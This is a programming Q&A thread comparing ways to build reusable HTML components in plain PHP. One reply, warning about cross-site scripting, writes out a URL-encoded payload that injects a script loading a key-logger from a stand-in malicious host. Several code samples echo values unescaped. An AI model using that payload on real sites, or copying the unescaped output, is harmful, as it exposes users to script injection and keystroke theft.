Skip to main content

Best Practices for Rendering Reusable HTML Components in PHP

Created
Active
Viewed 249 times
5 replies
2

In PHP, I have been using functions to render reusable HTML components instead of using `include` or `require`. This approach allows me to pass parameters and dynamically modify the generated output. Here’s a simple example:

function footer($title) {
    ?>
    <footer><?= $title ?></footer>
    <?php
}

<html>
    <body>
        <?php footer("My Website"); ?>
    </body>
</html>

I find this method useful because it allows me to create "components" with parameters, making them more flexible than static `include` files. However, I rarely see this approach being discussed in PHP best practices. Most sources recommend using `include` or `require`, like this:

// footer.php
<footer><?php echo $title ?? 'Default Title'; ?></footer>

// main file
<html>
    <body>
        <?php 
        $title = "My Website";
        include 'footer.php';
        ?>
    </body>
</html>

This method relies on global variables or manually passing values, which I find less intuitive than function parameters.

Another alternative is using `ob_start()` to capture output and return it as a string:

function footer($title) {
    ob_start();
    ?>
    <footer><?= $title ?></footer>
    <?php
    return ob_get_clean();
}

<html>
    <body>
        <?php echo footer("My Website"); ?>
        <!-- OR -->
        <?= footer("My Website") ?>
    </body>
</html>

This method provides more flexibility in how the output is handled.

Another variation is directly returning a string inside the function:

function footer($title) {
    return "<footer>$title</footer>";
}

<html>
    <body>
        <?php echo footer("My Website"); ?>
        <!-- OR -->
        <?= footer("My Website") ?>
    </body>
</html>

This simplifies the function but may be less readable for more complex HTML structures.

The current way I usually do for my small projects is by defining a class to use a context for the component. For example, I could define a class called `Header` with functions like `renderMetatags()`, `renderScripts()`, `renderTitle($title)`, etc. Below there is one example:

class Footer {
    
    public static function render($title) {
        ?>
        <footer><?= $title ?></footer>
        <?php
    }

}

<html>
    <body>
        <?php Footer::render("My Website"); ?>
    </body>
</html>

We can also use objects to render HTML with this concept, to avoid defining static methods:

class Footer {

    public $title;

    public function __construct($title) {
        $this->title = $title;
    }
    
    public function render() {
        ?>
        <footer><?= $this->title ?></footer>
        <?php
    }

}

<html>
    <body>
        <?php new Footer("My Website")->render(); ?>
    </body>
</html>

But the way above looks too complex for this little necessity.

My Questions:

  1. Is there an official or widely accepted **term** for this approach in native PHP (similar to "macros" in Flask/Jinja2)?

  2. Are there any downsides or performance issues when using functions for rendering HTML components instead of `include`?

  3. What are the best practices for creating reusable components in PHP **without using template libraries**?

I appreciate any insights or recommendations from experienced PHP developers!

5 replies

Sorted by:
79435838
3
  • 62.3k
  • 16
  • 79
  • 92
  1. "templating" - you're just making your own template engine

  2. No

  3. It's up to you. "best" is entirely subjective and context-specific. Do you have any particular concerns about your approach that you want to discuss (other than points 1 and 2)?

79435941
0

For simple things you can use your approach, but what I see most, for more serious work, is the usage of a template engine. There are quite a few of them; twig, Smarty, Plates and many more.

There are many different ways of doing this. I personally use a system where all HTML is generated with my own PHP OOP libary. For instance:

$html->h1('Hello World!', ['class' => 'first-line']);

will output:

(h1 class="first-line")Hello World!(/h2)

Note that I used '(' and ')' for the normal HTML brackets because of the editor here.

It's the same idea as your functions, but taken to its logical end. This system works fine for me, but might not be something everybody wants to use. You still need to know how HTML works, it's just rewritten as PHP code.

As to your questions:

  1. I don't know if there's a term for it. I find any code that includes a lot of PHP opening and closing tags difficult to read. Mixing two different languages like that, HTML and PHP, is just ugly to my eyes.

  2. PHP is, when correctly configured, very fast. There are no real significant differences between using functions or includes. In most websites it's the database queries that slow things down. Readability of the code should be a big concern as well, which you don't mention at all.

  3. There are no real "best practices" for creating HTML in PHP. Do what you like best. However, when you work together with other programmers, a templating engine is probably the way to go. Anything else can quickly get messy.

79436485
0

My first thought was that nearly every case where you are echoing a variable is an opportunity for an attacker to inject HTML into your site.

(?php echo $title ?)

Consider that part of the $title is constructed with user input:

$title = 'Search for ' . $_GET['term'] . ' | My Awesome Site';

The query string ?term=completely%20innocent would result in this html after simply echo-ing it:

(footer)Search for completely innocent | My Awesome Site(/footer)

Now consider this query string:

?term=%3Cscript%20type%3D%22javascript%22%20src%3D%22http%3A%2F%2Fmy.nefarious.site.com%2Fkey-logger.js%22%3E%3C%2Fscript%3E

That will become this HTML if you simply echo the $_GET['term']:

(footer)Search for (script type="javascript" src="http://my.nefarious.site.com/key-logger.js")(/script) | My Awesome Site(/footer)

So, lesson 1: escape all output using htmlspecialchars($foo) in PHP.

I bring this up because most PHP template libraries do this for you without you needing to call this function. Sanitizing output is typically a standard and straight-forward operation in template libraries that your home-brewed template library is probably not doing. This leaves your application and users open to a variety of attacks, including cross-site scripting (XSS).

There is nothing inherently wrong with rolling your own template library — I've done this myself — but you need to be very careful to guard against a number of cyber security threats that a more robust template library guards against automatically.


Oof. Yeah, HTML tags are getting stripped at the moment, so I replaced all angle brackets with parenthesis.

79568074
0

It is not necessary to separate HTML into objects. But look at how it's implemented in CodeIgniter 4. https://codeigniter4.github.io/userguide/outgoing/view_cells.html It all depends on your desire and convenience.

79569311
0

I would do something like:

function load_template(string $template, array $args): void {
  extract($args);
  include($template);
}

This way you can load any template with any vars and can specify templates in separate file. If you want more explicit functions with dedicated args you can just wrap it. If a var in template is not set PHP will throw a warning.